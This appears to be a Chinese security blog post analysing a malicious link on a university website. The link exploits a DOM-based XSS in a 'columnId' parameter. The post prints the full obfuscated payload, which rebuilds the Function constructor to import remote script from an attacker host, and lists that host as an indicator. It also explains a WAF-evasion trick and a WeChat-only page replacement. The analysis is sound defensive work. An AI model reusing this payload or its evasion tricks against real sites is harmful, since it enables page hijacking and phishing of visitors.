0x00 前言
0x01 正文
隼目安全公众号的轩白师傅昨天在群里分享了一个edu链接,该链接在微信中访问后会出现以下页面:
而在浏览器中访问是正常页面:
空有“打印”两个字,而链接也很有意思:
https://xxx.xxx.edu.cn/_web/_plugs/trailer/web/print.jsp;1n9bndsq0GCrg7ka.jsp?_p=YXM9Mw__&columnId=%22%3bn%3D%60const%60%2B%60ructor%60%2Cp7%3D2%5Bn%5D%5Bn%5D%2Cn%3D%60%2F%2Fmmg9.cn%2Fj-aufe%60%2Cun%3D%60imp%60%2B%60ort(n)%60%2Cp7(un)%60%60%3Be59%3B%22&1=dsq0GCrg&sign=k82&bd=154e6e3d7da3cedc138c5d599180d565
url解码:
https://xxx.xxx.edu.cn/_web/_plugs/trailer/web/print.jsp;1n9bndsq0GCrg7ka.jsp?_p=YXM9Mw__&columnId=";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"&1=dsq0GCrg&sign=k82&bd=154e6e3d7da3cedc138c5d599180d565
可以明显的看到columnId参数值是一段js,猜测是拼接了js导致外链了恶意脚本,也就是所谓的xss外链js,不过这个xss属于是dom型xss,具体看下文。
0x02 分析
直接全局搜一手columnId:
var url = "/_wp3services/generalQuery?queryObj=trailer&siteId=3&columnId=";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"&print=true&time=t";
显而易见url获取了columnId参数并拼接到url值里,期间没有做任何过滤,直接将参数值拼接了。
具体columnId参数值为:
";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"
所以正常来说url值应该是:
var url = "/_wp3services/generalQuery?queryObj=trailer&siteId=3&columnId=&print=true&time=t";
接下来来看一下这个columnId参数值做了什么:
";n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;"
开头的";
做了闭合,末尾的"
同样也是为了闭合。重点是下面这串代码:
n=`const`+`ructor`,p7=2[n][n],n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;
n由const和ructor拼接为constructor,p7由2[n][n]
得到,这个东西很有意思,我们逐步来分析一下:
2[n][n]
实际上执行的是:
2["constructor"]["constructor"]
2["constructor"]
执行后指向的其实是Number构造函数。我们在js中看到的所有的数字型字面量都是Number的实例:
这里的2["__proto__"]
的意为:2因为是Number的实例,对象实例是没有prototype属性的,不过我们可以通过__proto__属性来访问创建这个实例的构造函数的原型。所以我通过判断它俩是否相等来验证一下数字型字面量是否都为Number的实例。
回到主题,我上面提到2["constructor"]
执行后指向的是Number构造函数,第一是因为Number的实例自身是没有constructor这个属性的,而实例创建后会指向构造函数的原型,所以当我们调用这个属性时,如果在这个实例中并没有找到调用的属性或方法,会直接向这个实例指向的原型中继续查找,如果还没有还会继续向原型的原型找。第二是这个属性会指向相对应的构造函数,所以这个2["constructor"]
指向的是Number构造函数:
但是从上文我们可以知道,这一步后又继续访问了["constructor"],那么此时访问的就是Number构造函数的constructor属性。我们知道,所有的函数都是Function的实例,并且Number构造函数自身是没有constructor属性的,它是继承了Function实例的原型constructor属性,也就是指向了Function构造函数:
所以p7实际上被赋值了一个Function构造函数。不过2["constructor"]["constructor"]
其实还可以简单点:
攻击者这样写明显是为了绕开waf检测。
此时有写过bypass debugger之类的hook脚本的读者可能已经猜到了攻击者想干什么了,继续看代码接下来干了什么:
n=`//mmg9.cn/j-aufe`,un=`imp`+`ort(n)`,p7(un)``;e59;
n被赋值了//mmg9.cn/j-aufe
,很明显这是一个地址,访问一下:
外链的js,而且我还需要提一点,攻击者很聪明,写地址时并没有写协议头,巧妙的将协议头去掉了,这样做是为了让协议与站点使用的一致,如果站点使用的是https,而外链js的地址协议头为http,此时就会触发浏览器安全机制,例如我添加协议头为http进行链接js:
随后un被赋值了imp
+ort(n)
,也就是import(n),n我们刚刚知道了是外链js的地址,import是将这个外链的js导入进来。然后代码执行了p7(un)
,也就是Function("import(n)")
,但是这里并没有调用执行,只是创建了这么一个匿名函数,我写了个demo演示一下:
控制台什么也没输出:
而最精彩的部分就是接下来那两个``:
这两个反单引号非常巧妙的调用了这个匿名函数,相当于():
我到现在都不知道这个函数是怎么通过这两个``调用出来的,问了gpt也一无所获,有了解的师傅可以留言解答一下。
还有最后一个e59,这个变量没定义导致报错:
但是其实这个报错也是有很大作用的,我在将这个值删掉访问后js好像陷入了无限循环,我仔细看了一下代码,如果删除了e59,代码会访问两个接口:
这两个接口的状态码为503,代码最后也一直在一个地方循环:
所以这个e59主要是为了堵塞后面的代码执行。
整个分析下来,笔者惊叹不已,攻击者将poc设计的十分巧妙,整个过程十分优雅。
接下来看一下外链的js做了什么:
首先执行了下面这串代码:
document.body.scrollTop = 0;
document.documentElement.scrollTop = 0;
将文档的scrollTop和html的scrollTop值都设置为了0。
紧接着调用了loadJs函数,传入了jquery的地址和loadback函数:
loadJs("//hb-s1.oss-cn-hangzhou.aliyuncs.com/ad/jquery.min1.js", loadback);
loadJs:
这个函数先创建了一个script标签,然后第二步就是先判断了b的类型是否不为undefined,然后又去判断了下是否创建了script标签,当c.onload时又执行了b函数,也就是loadback。
loadback:
首先定义了num随机值,不过这个num到函数调用完毕也没有用,随后获取了下ua头,并将ua头的所有大写字母全部改为了小写并赋值给ua,下面这个if语句就是去判断了下micromessenger是否存在ua头里,实际上,当我们在用微信内置浏览器访问网站时,这个micromessenger就存在于ua头里。
随后这个window.stack其实是可以简写的,可以直接写stack,window默认没有stack这个属性,里面是一个数组并且只有一个元素,猜测该地址就是开头的动态页面,最后还加了个时间戳,这个时间戳实际上是为了防止IE缓存,最后调用了render函数,传了stack.shift()
,上文我们知道stack是数组,shift方法可以从数组中删除第一个元素,并返回该元素的值,所以最终传进去的参数为:
调用完后loadback函数后又回到了上面讲到的loadJs函数,loadJs继续又给script标签添加了src属性为a,也就是那个jquery地址,最后将这个script标签appendChild到文档中:
render:
render函数就比较简单了,访问了上面拼接的那个动态页面,然后回调函数里接受了返回的html:
随后调用了document.open("text/html", "replace");
,MDN的回答:
所以说这句代码调用后会将原来的页面替换成空白页,然后调用了a.write(data)
,将得到的html写入到文档中。接下来复现一下,由于我是浏览器打开的,不是微信内置浏览器,所以得修改一下UA头:
将尺寸修改为刚刚添加的UA头,此时访问测试:
成功进入if语句。
复现完毕。
IOC:
https://mmg9.cn/j-aufe
往期回顾
▼
【漏洞情报】惊!安全圈众多师傅都在用的"它",竟存在文件下载的bug?
原文始发于微信公众号(隼目安全):【相关分享】某edu恶意链接分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论